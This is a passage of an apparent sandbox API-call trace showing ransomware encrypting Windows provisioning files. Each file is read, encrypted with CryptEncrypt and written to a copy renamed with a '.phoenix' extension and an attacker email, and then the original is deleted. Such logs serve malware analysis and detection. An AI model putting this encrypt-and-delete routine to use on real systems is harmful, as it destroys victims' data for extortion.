	[0255.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\589__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.197] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\589__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0255.197] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.197] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.197] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\589__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0255.198] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151180) returned 1
	[0255.198] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.198] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c8, lpOverlapped=0x0) returned 1
	[0255.472] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0255.472] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0255.473] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151380) returned 1
	[0255.473] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.473] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0255.473] CryptDestroyKey (hKey=0x151380) returned 1
	[0255.473] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0255.474] CryptDestroyKey (hKey=0x151180) returned 1
	[0255.474] CloseHandle (hObject=0x2e0) returned 1
	[0255.474] CloseHandle (hObject=0x308) returned 1
	[0255.474] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\589__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0255.475] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0255.476] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\594__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0255.476] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=707) returned 1
	[0255.476] CloseHandle (hObject=0x308) returned 1
	[0255.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\594__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0255.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\594__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.477] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\594__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0255.477] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.477] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.477] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\594__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0255.478] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151600) returned 1
	[0255.478] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.478] ReadFile (in: hFile=0x308, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c3, lpOverlapped=0x0) returned 1
	[0255.480] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0255.480] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0255.481] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151700) returned 1
	[0255.481] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.481] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0255.481] CryptDestroyKey (hKey=0x151700) returned 1
	[0255.481] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0255.481] CryptDestroyKey (hKey=0x151600) returned 1
	[0255.481] CloseHandle (hObject=0x308) returned 1
	[0255.481] CloseHandle (hObject=0x2e0) returned 1
	[0255.481] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\594__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0255.483] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0255.483] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\595__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0255.483] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=717) returned 1
	[0255.483] CloseHandle (hObject=0x2e0) returned 1
	[0255.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\595__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0255.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\595__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.484] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\595__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0255.484] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.484] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.484] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\595__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0255.485] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151500) returned 1
	[0255.485] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.485] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cd, lpOverlapped=0x0) returned 1
	[0255.489] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0255.489] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0255.490] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151780) returned 1
	[0255.490] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.490] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0255.490] CryptDestroyKey (hKey=0x151780) returned 1
	[0255.490] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0255.491] CryptDestroyKey (hKey=0x151500) returned 1
	[0255.491] CloseHandle (hObject=0x2e0) returned 1
	[0255.491] CloseHandle (hObject=0x308) returned 1
	[0255.491] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\595__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0255.492] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0255.492] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\596__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0255.528] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=709) returned 1
	[0255.528] CloseHandle (hObject=0x2e0) returned 1
	[0255.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\596__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0255.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\596__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.528] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\596__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0255.529] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.529] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.529] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\596__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0255.530] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151140) returned 1
	[0255.530] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.530] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c5, lpOverlapped=0x0) returned 1
	[0255.535] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0255.535] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0255.536] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1515c0) returned 1
	[0255.536] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.536] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0255.537] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0255.537] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0255.537] CryptDestroyKey (hKey=0x151140) returned 1
	[0255.537] CloseHandle (hObject=0x2e0) returned 1
	[0255.537] CloseHandle (hObject=0x2f4) returned 1
	[0255.537] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\596__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0255.538] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0255.538] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\597__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0255.539] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=711) returned 1
	[0255.539] CloseHandle (hObject=0x2f4) returned 1
	[0255.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\597__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0255.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\597__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.539] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\597__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0255.539] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.540] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.540] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\597__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0255.540] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151500) returned 1
	[0255.540] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
